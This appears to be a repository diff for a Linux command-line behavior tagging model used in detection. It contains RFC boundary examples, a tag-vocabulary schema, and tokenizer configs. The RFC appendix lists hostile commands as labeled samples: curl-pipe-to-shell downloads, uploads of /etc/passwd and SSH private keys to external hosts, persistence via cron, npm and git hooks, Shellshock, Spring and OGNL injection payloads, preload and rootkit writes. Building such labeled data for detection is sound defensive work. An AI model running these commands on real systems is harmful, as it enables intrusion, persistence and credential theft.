+  "normative_change": "exact MUST/SHOULD language if the core changes",
+  "positive_examples": [
+    {"cmdline": "...", "behavior_tags": ["..."]}
+  ],
+  "negative_examples": [
+    {"cmdline": "...", "behavior_tags": ["..."], "forbidden_tags": ["..."]}
+  ],
+  "migration_scope": "which corpus rows or tools are affected"
+}
+```
+
+Do not bulk-edit corpus rows for a proposed RFC change until the change is
+accepted into the RFC core.
+
+## Open RFC Gaps
+
+These areas need stronger RFC decisions before aggressive review:
+
+- Residual `inspect_*` vs `read_*` cases where the tool can either inspect
+  metadata or render semantic content and no domain paragraph decides it.
+- `read_credential_material` vs `read_secret_store` where a secret-like value is
+  addressed through a generic KV/config store path.
+- Database client `open_data_service_session` vs query/modify/dump/import when
+  the command opens a session and carries only initialization or ambiguous SQL
+  operands.
+- Pipeline right-hand side behavior when the left stage only produces metadata.
+- Shell wrappers and copied binaries where the operative tool is hidden.
+- Localhost/internal/external classification for URLs and sockets when the
+  literal endpoint is absent or supplied through variables.
+
+These gaps are narrow exceptions. Reviewers SHOULD still apply the accepted
+principles above to rows that plainly match them.
+
+## Appendix A: Boundary Examples
+
+Appendix examples are non-normative. They document recurring applications of the
+RFC principles and give reviewers stable example IDs for discussion. They do not
+add new tag semantics.
+
+### EX-EVIDENCE-PATH: Operation Beats Path
+
+Principles: RFC-P1, RFC-P5
+
+```text
+cat /home/user/.my.cnf
+-> read_infrastructure_config
+
+grep -R password /srv
+-> search_credentials
+
+cat /var/log/auth.log
+-> read_auth_audit_log
+
+mysqldump --defaults-file=/home/user/.my.cnf db > out.sql
+-> export_database_dump
+not read_credential_material
+
+pyspark --properties-file /var/log/syslog
+-> manage_data_processing_job
+not read_system_log
+```
+
+### EX-CURRENT-EXECUTION: Quoted Text Is Not Current Execution
+
+Principles: RFC-P2, RFC-P8
+
+```text
+wget http://203.0.113.10/a.sh | sh
+-> download_script, execute_downloaded_content
+
+grep -R 'ssh -L 15432:db:5432' /etc
+-> read_system_config
+not create_forward_tunnel
+
+echo '*/5 * * * * root curl http://x/a|bash' > /etc/cron.d/cache
+-> create_scheduled_task
+not execute_downloaded_content
+```
+
+### EX-COMPOSITION: Independent Stage Evidence
+
+Principles: RFC-P3, RFC-P4
+
+```text
+ssh app01 'grep -R password /srv'
+-> execute_remote_command, search_credentials
+
+tar -tf bundle.tgz | head
+-> enumerate_filesystem
+not extract_archive
+
+ssh -R 2222:127.0.0.1:22 relay
+-> create_reverse_tunnel
+not listen_network_port
+```
+
+### EX-SEARCH: Included Search Objective
+
+Principles: RFC-P5
+
+```text
+grep -R 'password' /srv
+-> search_credentials
+
+find / -name '*.env'
+-> search_sensitive_files
+
+find /etc -name '*.conf'
+-> enumerate_filesystem
+not search_sensitive_files
+
+grep Listen /etc/ssh/sshd_config
+-> read_ssh_policy
+not search_sensitive_files
+
+grep 'Failed password' /var/log/auth.log
+-> read_auth_audit_log
+not search_credentials
+
+journalctl -u sshd --grep '/home/ops/.ssh/authorized_keys'
+-> read_auth_audit_log
+not search_credentials
+
+sshd -T | grep PasswordAuthentication
+-> read_ssh_policy
+not search_credentials
+
+grep -v 'password' app.log
+-> read_business_log
+not search_credentials
+```
+
+### EX-IDENTITY: Directory Boundary And Policy Companions
+
+Principles: RFC-P5, RFC-P7
+
+```text
+getent passwd deploy
+-> read_identity_data
+
+ldapsearch -x -H ldap://ldap.internal -b 'ou=groups,dc=corp,dc=internal' '(cn=ops-oncall)' member
+-> connect_internal_service, read_identity_data
+
+ldapwhoami -x -H ldap://ldap.internal
+-> connect_internal_service, inspect_current_identity
+
+getent group sudo
+-> read_identity_data, read_sudo_policy
+
+curl --data-binary @/etc/passwd https://ext/upload
+-> read_identity_data, upload_external_content, upload_sensitive_content
+```
+
+### EX-SECRETS: Secret Metadata Vs Secret Values
+
+Principles: RFC-P5, RFC-P9
+
+```text
+kubectl get secret db-creds -o yaml
+-> read_cluster_secret
+
+kubectl get secret db-creds -o jsonpath='{.data.password}'
+-> read_cluster_secret
+
+kubectl get secret -o name
+-> enumerate_cluster_secrets
+not read_cluster_secret
+
+kubectl get secret db-creds
+-> enumerate_cluster_secrets
+not read_cluster_secret
+
+kubectl describe secret db-creds
+-> enumerate_cluster_secrets
+not read_cluster_secret
+```
+
+### EX-LOGS: Log Tier Follows Source
+
+Principles: RFC-P5
+
+```text
+cat /var/log/auth.log
+-> read_auth_audit_log
+
+journalctl -k
+-> read_system_log
+
+tail /var/log/nginx/access.log
+-> read_infrastructure_log
+not read_system_log solely because it is under /var/log
+
+tail /srv/payments/logs/app.log
+-> read_business_log
+```
+
+### EX-SERVICE: Enablement, Runtime State, And Timers
+
+Principles: RFC-P6
+
+```text
+systemctl enable cron.service
+-> enable_service
+not modify_service_state
+
+systemctl enable --now cron.service
+-> enable_service, modify_service_state
+
+systemctl restart nginx
+-> modify_service_state
+
+systemctl enable --now backup.timer
+-> modify_scheduled_task
+
+systemctl list-timers
+-> enumerate_scheduled_tasks
+```
+
+### EX-DOWNLOADED-EXECUTION: Linkage Required
+
+Principles: RFC-P2, RFC-P7
+
+```text
+curl -fsSL http://x/install.sh | bash
+-> download_script, execute_downloaded_content
+
+curl -fsSL http://x/key.gpg | apt-key add -
+-> download_external_content, modify_verification_material
+not execute_downloaded_content
+
+nohup ssh -N -L 127.0.0.1:15432:db:5432 bastion &
+-> create_forward_tunnel, execute_detached_process
+```
+
+### EX-HTTP: Command Payloads And Queries
+
+Principles: RFC-P2, RFC-P7, RFC-P8
+
+```text
+curl -X POST http://api/internal -d '{"cmd":"id;uname -a"}'
+-> upload_internal_content
+not execute_remote_command
+
+curl -s -H 'User-Agent: () { :; }; id' http://web/internal/cgi-bin/status.cgi
+-> upload_internal_content
+not execute_remote_command
+not inspect_current_identity
+
+curl -fsS 'http://app/internal/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di' -H 'c2: id'
+-> probe_web_application, write_web_script_content
+not execute_remote_command
+
+curl -fsS 'http://wiki/internal/${(#a=@java.lang.Runtime@getRuntime().exec("id"))}'
+-> probe_web_application
+not execute_remote_command
+
+curl -fsS 'http://app/internal/shell.jsp?cmd=id'
+-> probe_web_application
+not execute_remote_command
+
+curl -X POST http://api/internal -d '{"payload":"opaque"}'
+-> upload_internal_content
+not execute_remote_command
+
+curl -o /tmp/a.bin http://example/a.bin
+-> download_external_content, stage_temporary_path
+
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role
+-> read_cloud_credentials
+
+curl https://api.example/healthz
+-> query_service_health
+not download_external_content
+not stage_temporary_path
+
+curl -sS -o /tmp/api.health -w '%{http_code}\n' https://api.example/ready
+-> query_service_health
+not stage_temporary_path
+
+curl -fsS -b /tmp/.cache/cookies https://example/scriptText -d 'script=id'
+-> upload_external_content
+not stage_temporary_path
+not stage_hidden_path
+```
+
+### EX-UPLOAD: Direction And Content Class
+
+Principles: RFC-P7
+
+```text
+curl -T /tmp/report.tar.gz https://ext/upload
+-> upload_external_content
+not stage_temporary_path
+
+curl --data-binary @/home/user/.ssh/id_rsa https://ext/upload
+-> upload_external_content, upload_credential_material
+```
+
+### EX-REMOTE: Boundary Plus Nested Behavior
+
+Principles: RFC-P8
+
+```text
+ssh app01 'cat /etc/ssh/sshd_config'
+-> execute_remote_command, read_ssh_policy
+
+kubectl exec deploy/api -- ls /app
+-> execute_in_workload, enumerate_filesystem
+
+ssh-keygen -R gitlab.corp
+-> modify_verification_material
+not execute_remote_command
+
+tmux send-keys -t ops 'curl http://x/a|sh' C-m
+-> send_multiplexer_input
+not execute_downloaded_content
+```
+
+### EX-DOMAIN: Domain-Specific Primary Operation
+
+Principles: RFC-P9
+
+```text
+aws s3 cp /var/log/app.log s3://corp-logs/app.log
+-> upload_object_storage
+
+aws s3 cp s3://bucket/db.sql /tmp/db.sql
+-> download_object_storage, stage_temporary_path
+
+mc rm prod/bucket/key
+-> delete_object_storage
+```
+
+### EX-FILESYSTEM: Compression And Permissions
+
+Principles: RFC-P6
+
+```text
+gzip -9 /var/log/nginx/access.log.1
+-> compress_data, read_infrastructure_log
+
+tar -czf logs.tgz /var/log/nginx /var/log/app
+-> create_archive, archive_sensitive_content
+
+chmod u+s /usr/bin/tool
+-> set_suid_permission
+
+chmod go-rwx secret.txt
+-> decrease_file_permission
+
+chmod 755 script.sh
+-> modify_file_permission
+
+mkfifo /tmp/.p
+-> create_special_filesystem_node, stage_temporary_path, stage_hidden_path
+
+curl -fsS http://example/payload -o /tmp/.svc
+-> download_external_content, stage_temporary_path, stage_hidden_path
+
+cp /tmp/ssh /usr/bin/ssh
+-> write_system_executable_content
+not stage_temporary_path
+
+/tmp/.tool --once
+-> execute_from_temporary_path
+not stage_temporary_path
+not stage_hidden_path
+
+printf "*/10 * * * * /tmp/.beacon\n" | crontab -
+-> create_scheduled_task
+not stage_temporary_path
+not stage_hidden_path
+
+printf "[Service]\nExecStart=/tmp/.svc\n" > /etc/systemd/system/a.service
+-> create_systemd_unit
+not stage_temporary_path
+not stage_hidden_path
+
+echo '/tmp/libx.so' > /etc/ld.so.preload
+-> modify_library_preload
+
+echo 'alias ls=ls' >> /etc/profile.d/ops.sh
+-> modify_shell_startup
+
+cp /tmp/locale-archive /usr/lib/locale/locale-archive
+-> modify_critical_system_path
+
+printf 'curl http://x|sh\n' > .git/hooks/post-commit
+-> modify_repository_hook
+
+npm pkg set scripts.postinstall='curl http://x|sh'
+-> modify_package_execution_hook
+
+cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/rootkit.ko
+-> write_kernel_module_content
+
+update-ca-certificates
+-> modify_trust_store
+
+nmap -oN /tmp/scan.txt 10.0.0.0/24
+-> probe_multiple_endpoints_multiple_ports
+not stage_temporary_path
+not any file-path behavior tag
+```

schema/tags_schema_rev20.json

@@ -0,0 +1,415 @@
+{
+  "schema_id": "agent_smith_linux_cmdline_behavior_rev20",
+  "schema_version": 1,
+  "vocabulary_revision": 20,
+  "status": "draft_pending_manual_reverse_review",
+  "purpose": "Objective single-command Linux behavior recognition using one flat vocabulary of complete detection-relevant behaviors.",
+  "label_row_schema": {
+    "behavior_tags": [
+      "zero or more visible complete behavior labels"
+    ]
+  },
+  "invariants": [
+    "Training and evaluation label rows use one flat behavior_tags array; prediction output exposes ranked top_labels.",
+    "Each label describes a complete visible behavior rather than a fragment that downstream code must recombine.",
+    "Labels may combine an operation with a stable target, scope, direction, or execution form when that combination materially changes detection meaning.",
+    "Emit the most-specific applicable behavior and suppress its generic parent behavior.",
+    "A compound cmdline may emit multiple independent behaviors when each stage is visibly executed.",
+    "Labels describe objective syntax-visible behavior, never maliciousness, authorization, risk, ancestry, session intent, or verdict.",
+    "Do not infer successful results, resolved host classes, hidden content, or targets not established by visible syntax.",
+    "Single-object and single-endpoint scope is the default and is not encoded unless it is part of a complete behavior label.",
+    "New labels must represent a repeated, stable detection distinction across unrelated tools or environments.",
+    "Product, vendor, campaign, malware-family, and organization-specific labels are forbidden."
+  ],
+  "groups": {
+    "observation_and_discovery": [
+      "read_system_config",
+      "read_infrastructure_config",
+      "read_business_config",
+      "read_auth_policy",
+      "inspect_audit_policy",
+      "read_identity_data",
+      "read_credential_material",
+      "read_verification_material",
+      "modify_verification_material",
+      "read_shell_history",
+      "read_login_history",
+      "read_auth_audit_log",
+      "read_system_audit_log",
+      "read_system_log",
+      "read_infrastructure_log",
+      "read_business_log",
+      "read_business_data",
+      "read_source_code",
+      "inspect_system_state",
+      "read_process_runtime",
+      "read_environment_variables",
+      "read_cloud_metadata",
+      "read_cloud_credentials",
+      "read_container_secret",
+      "inspect_current_identity",
+      "inspect_current_privileges",
+      "enumerate_users",
+      "enumerate_logged_in_users",
+      "enumerate_processes",
+      "enumerate_open_files",
+      "enumerate_network_connections",
+      "enumerate_listeners",
+      "inspect_network_state",
+      "enumerate_services",
+      "inspect_service",
+      "enumerate_scheduled_tasks",
+      "read_scheduled_task",
+      "execute_scheduled_task",
+      "enumerate_filesystem",
+      "inspect_storage_state",
+      "enumerate_packages",
+      "enumerate_kernel_modules",
+      "enumerate_containers",
+      "enumerate_workloads",
+      "enumerate_cloud_resources",
+      "search_credentials",
+      "search_sensitive_files",
+      "search_suid_files",
+      "search_sgid_files",
+      "search_capability_files",
+      "search_world_writable_files"
+    ],
+    "configuration_and_log_modification": [
+      "modify_system_config",
+      "modify_infrastructure_config",
+      "modify_business_config",
+      "modify_audit_policy",
+      "modify_shell_history",
+      "clear_shell_history",
+      "clear_login_history",
+      "append_system_log",
+      "delete_audit_log",
+      "delete_system_log",
+      "delete_infrastructure_log",
+      "delete_business_log"
+    ],
+    "filesystem_and_data": [
+      "stage_temporary_path",
+      "stage_hidden_path",
+      "modify_critical_system_path",
+      "create_special_filesystem_node",
+      "modify_symlink",
+      "inspect_file_metadata",
+      "change_file_ownership",
+      "modify_file_permission",
+      "increase_file_permission",
+      "decrease_file_permission",
+      "set_suid_permission",
+      "set_sgid_permission",
+      "set_file_capability",
+      "remove_file_capability",
+      "modify_file_acl",
+      "modify_file_timestamp",
+      "set_immutable_file_attribute",
+      "remove_immutable_file_attribute",
+      "create_archive",
+      "archive_sensitive_content",
+      "extract_archive",
+      "compress_data",
+      "write_executable_content",
+      "write_shared_library_content",
+      "write_system_executable_content",
+      "write_web_script_content",
+      "write_ransom_note",
+      "encode_data",
+      "decode_data",
+      "encrypt_data",
+      "decrypt_data",
+      "securely_delete_data",
+      "recover_deleted_content"
+    ],
+    "execution_and_process": [
+      "execute_from_temporary_path",
+      "execute_from_user_writable_path",
+      "execute_downloaded_content",
+      "execute_remote_command",
+      "execute_in_container",
+      "execute_in_chroot",
+      "execute_detached_process",
+      "execute_with_changed_identity",
+      "execute_via_dynamic_loader",
+      "execute_encoded_command",
+      "spawn_interactive_shell",
+      "spawn_reverse_shell",
+      "spawn_bind_shell",
+      "create_multiplexer_session",
+      "attach_multiplexer_session",
+      "send_multiplexer_input",
+      "read_process_memory",
+      "modify_process_memory",
+      "capture_process_memory",
+      "capture_process_state",
+      "inject_process_code",
+      "trace_process_execution",
+      "trace_file_access",
+      "attach_process_debugger",
+      "terminate_process",
+      "inspect_process_runtime_attributes",
+      "modify_process_runtime_attributes",
+      "set_environment_variable"
+    ],
+    "network": [
+      "probe_single_endpoint_single_port",
+      "probe_single_endpoint_multiple_ports",
+      "probe_multiple_endpoints_single_port",
+      "probe_multiple_endpoints_multiple_ports",
+      "probe_single_endpoint",
+      "probe_multiple_endpoints",
+      "probe_web_application",
+      "probe_database_service",
+      "probe_remote_access_service",
+      "connect_local_service",
+      "connect_internal_service",
+      "connect_external_service",
+      "manage_vpn_connection",
+      "listen_local_port",
+      "listen_network_port",
+      "create_forward_tunnel",
+      "create_reverse_tunnel",
+      "create_dynamic_proxy",
+      "attempt_remote_authentication",
+      "inspect_firewall_policy",
+      "modify_firewall_policy",
+      "modify_route",
+      "modify_dns_config",
+      "query_dns_records",
+      "perform_dns_zone_transfer",
+      "capture_network_packets",
+      "capture_network_flows",
+      "read_packet_capture",
+      "download_local_content",
+      "download_internal_content",
+      "download_external_content",
+      "download_named_content",
+      "download_script",
+      "download_executable",
+      "upload_internal_content",
+      "upload_external_content",
+      "upload_named_content",
+      "upload_credential_material",
+      "upload_sensitive_content",
+      "synchronize_remote_data",
+      "query_service_health",
+      "read_service_metrics",
+      "run_performance_test",
+      "fetch_remote_certificate",
+      "send_mail",
+      "read_mailbox",
+      "connect_mail_server",
+      "fetch_remote_mail",
+      "inspect_mail_queue",
+      "modify_mail_queue",
+      "train_mail_filter"
+    ],
+    "identity_auth_and_secrets": [
+      "crack_credential_material",
+      "create_user",
+      "delete_user",
+      "modify_user_identity",
+      "modify_group_identity",
+      "modify_group_membership",
+      "change_password",
+      "modify_user_access_state",
+      "grant_user_privilege",
+      "revoke_user_privilege",
+      "modify_sudo_policy",
+      "read_sudo_policy",
+      "read_ssh_policy",
+      "modify_ssh_policy",
+      "modify_ssh_authorization",
+      "modify_pam_policy",
+      "modify_auth_policy",
+      "inspect_auth_policy",
+      "modify_trust_store",
+      "switch_user",
+      "create_ssh_key",
+      "import_ssh_key",
+      "export_ssh_key",
+      "create_access_token",
+      "renew_access_token",
+      "revoke_access_token",
+      "create_credential_material",
+      "delete_credential_material",
+      "read_secret_store",
+      "write_secret_store",
+      "delete_secret_store"
+    ],
+    "persistence_services_and_storage": [
+      "manage_virtual_machine",
+      "create_scheduled_task",
+      "modify_scheduled_task",
+      "delete_scheduled_task",
+      "create_systemd_unit",
+      "modify_systemd_unit",
+      "delete_systemd_unit",
+      "enable_service",
+      "disable_service",
+      "modify_service_state",
+      "install_boot_persistence",
+      "modify_shell_startup",
+      "modify_dynamic_loader",
+      "modify_library_preload",
+      "create_startup_script",
+      "modify_startup_script",
+      "modify_mount_state",
+      "mount_remote_filesystem",
+      "format_filesystem",
+      "resize_filesystem",
+      "modify_swap_state",
+      "wipe_storage",
+      "modify_storage_volume",
+      "manage_snapshot",
+      "shutdown_host",
+      "modify_system_time",
+      "reboot_host"
+    ],
+    "kernel_memory_and_tracing": [
+      "read_kernel_state",
+      "read_kernel_parameter",
+      "modify_kernel_parameter",
+      "write_kernel_module_content",
+      "load_kernel_module",
+      "unload_kernel_module",
+      "inspect_kernel_module",
+      "load_ebpf_program",
+      "unload_ebpf_program",
+      "inspect_ebpf_program",
+      "read_kernel_memory",
+      "modify_kernel_memory",
+      "modify_bootloader",
+      "modify_security_module_policy"
+    ],
+    "package_build_and_source": [
+      "install_package",
+      "simulate_package_install",
+      "uninstall_package",
+      "update_package",
+      "verify_artifact_integrity",
+      "generate_artifact_digest",
+      "sign_artifact",
+      "build_source_code",
+      "clone_source_repository",
+      "read_source_repository",
+      "update_source_repository",
+      "modify_source_repository",
+      "modify_repository_hook",
+      "publish_source_repository",
+      "modify_source_code",
+      "delete_source_code",
+      "modify_language_dependency",
+      "modify_package_execution_hook",
+      "execute_package_hook"
+    ],
+    "database_and_infrastructure_services": [
+      "open_data_service_session",
+      "manage_data_processing_job",
+      "query_database_data",
+      "modify_database_data",
+      "delete_database_data",
+      "enumerate_database_schema",
+      "modify_database_schema",
+      "export_database_dump",
+      "import_database_dump",
+      "create_database",
+      "delete_database",
+      "modify_database_account",
+      "grant_database_privilege",
+      "revoke_database_privilege",
+      "modify_infrastructure_account",
+      "grant_infrastructure_privilege",
+      "revoke_infrastructure_privilege",
+      "inspect_infrastructure_service",
+      "modify_database_replication",
+      "manage_database_backup",
+      "manage_infrastructure_backup",
+      "query_cache_data",
+      "modify_cache_data",
+      "flush_cache_data",
+      "publish_message",
+      "consume_message",
+      "read_coordination_data",
+      "modify_coordination_data",
+      "enumerate_object_storage",
+      "upload_object_storage",
+      "download_object_storage",
+      "delete_object_storage",
+      "modify_object_storage"
+    ],
+    "containers_and_cloud_native": [
+      "inspect_container_runtime",
+      "build_container_image",
+      "inspect_container_image",
+      "scan_container_image",
+      "transfer_container_image",
+      "delete_container_image",
+      "create_container_pod",
+      "modify_container_state",
+      "delete_container",
+      "create_privileged_container",
+      "mount_host_into_container",
+      "modify_container_network",
+      "enumerate_cluster_resources",
+      "enumerate_container_images",
+      "inspect_workload",
+      "modify_workload",
+      "execute_in_workload",
+      "read_workload_logs",
+      "read_cluster_secret",
+      "read_cluster_context",
+      "enumerate_cluster_secrets",
+      "create_cluster_secret",
+      "modify_cluster_secret",
+      "delete_cluster_secret",
+      "export_cluster_resources",
+      "grant_cluster_privilege",
+      "modify_cluster_auth_policy",
+      "create_cluster_identity",
+      "export_cluster_config",
+      "verify_auth_policy",
+      "port_forward_workload",
+      "create_local_kubernetes_cluster",
+      "inspect_local_kubernetes_cluster",
+      "delete_local_kubernetes_cluster"
+    ],
+    "cloud_control_plane": [
+      "authenticate_cloud_cli",
+      "configure_cloud_cli",
+      "enumerate_cloud_accounts",
+      "enumerate_cloud_identity",
+      "create_cloud_identity",
+      "modify_cloud_identity",
+      "delete_cloud_identity",
+      "create_cloud_access_key",
+      "grant_cloud_privilege",
+      "revoke_cloud_privilege",
+      "modify_cloud_identity_policy",
+      "create_cloud_compute",
+      "execute_cloud_compute",
+      "connect_cloud_database",
+      "query_cloud_database",
+      "create_cloud_resource",
+      "modify_cloud_resource",
+      "delete_cloud_resource",
+      "modify_cloud_firewall",
+      "query_cloud_audit",
+      "enumerate_cloud_secrets",
+      "read_cloud_secret",
+      "modify_cloud_secret",
+      "initialize_infrastructure_template",
+      "plan_infrastructure_template",
+      "apply_infrastructure_template",
+      "destroy_infrastructure_template",
+      "deploy_cloud_template"
+    ]
+  },
+  "validation_gate": {
+    "acceptance": "Before corpus migration, manually reverse-label representative held-out cmdlines and require >=98% exact behavior_tags agreement without expanding the vocabulary for one-off cases.",
+    "change_policy": "Add, merge, rename, or remove labels only for repeated structural failures or unstable boundaries."
+  }
+}

semantic_texts.jsonl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:fb9cf11a9b181f21c157767d2076b0af397b7015c9bd80e6b31bba4727694215
+size 161486

sentence_bert_config.json

@@ -0,0 +1,4 @@
+{
+  "max_seq_length": 160,
+  "do_lower_case": false
+}

special_tokens_map.json

@@ -0,0 +1,37 @@
+{
+  "cls_token": {
+    "content": "[CLS]",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "mask_token": {
+    "content": "[MASK]",
+    "lstrip": true,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "pad_token": {
+    "content": "[PAD]",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "sep_token": {
+    "content": "[SEP]",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "unk_token": {
+    "content": "[UNK]",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  }
+}

tokenizer_config.json

@@ -0,0 +1,945 @@
+{
+  "added_tokens_decoder": {
+    "0": {
+      "content": "|||IP_ADDRESS|||",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "1": {
+      "content": "<|padding|>",
+      "lstrip": false,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50254": {
+      "content": "                        ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50255": {
+      "content": "                       ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50256": {
+      "content": "                      ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50257": {
+      "content": "                     ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50258": {
+      "content": "                    ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50259": {
+      "content": "                   ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50260": {
+      "content": "                  ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50261": {
+      "content": "                 ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50262": {
+      "content": "                ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50263": {
+      "content": "               ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50264": {
+      "content": "              ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50265": {
+      "content": "             ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50266": {
+      "content": "            ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50267": {
+      "content": "           ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50268": {
+      "content": "          ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50269": {
+      "content": "         ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50270": {
+      "content": "        ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50271": {
+      "content": "       ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50272": {
+      "content": "      ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50273": {
+      "content": "     ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50274": {
+      "content": "    ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50275": {
+      "content": "   ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50276": {
+      "content": "  ",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50277": {
+      "content": "|||EMAIL_ADDRESS|||",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50278": {
+      "content": "|||PHONE_NUMBER|||",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50279": {
+      "content": "<|endoftext|>",
+      "lstrip": false,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50280": {
+      "content": "[UNK]",
+      "lstrip": false,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50281": {
+      "content": "[CLS]",
+      "lstrip": false,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50282": {
+      "content": "[SEP]",
+      "lstrip": false,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50283": {
+      "content": "[PAD]",
+      "lstrip": false,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50284": {
+      "content": "[MASK]",
+      "lstrip": true,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50285": {
+      "content": "[unused0]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50286": {
+      "content": "[unused1]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50287": {
+      "content": "[unused2]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50288": {
+      "content": "[unused3]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50289": {
+      "content": "[unused4]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50290": {
+      "content": "[unused5]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50291": {
+      "content": "[unused6]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50292": {
+      "content": "[unused7]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50293": {
+      "content": "[unused8]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50294": {
+      "content": "[unused9]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50295": {
+      "content": "[unused10]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50296": {
+      "content": "[unused11]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50297": {
+      "content": "[unused12]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50298": {
+      "content": "[unused13]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50299": {
+      "content": "[unused14]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50300": {
+      "content": "[unused15]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50301": {
+      "content": "[unused16]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50302": {
+      "content": "[unused17]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50303": {
+      "content": "[unused18]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50304": {
+      "content": "[unused19]",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": false
+    },
+    "50305": {
+      "content": "[unused20]",
+      "lstrip": false,
+      "normalized": true,
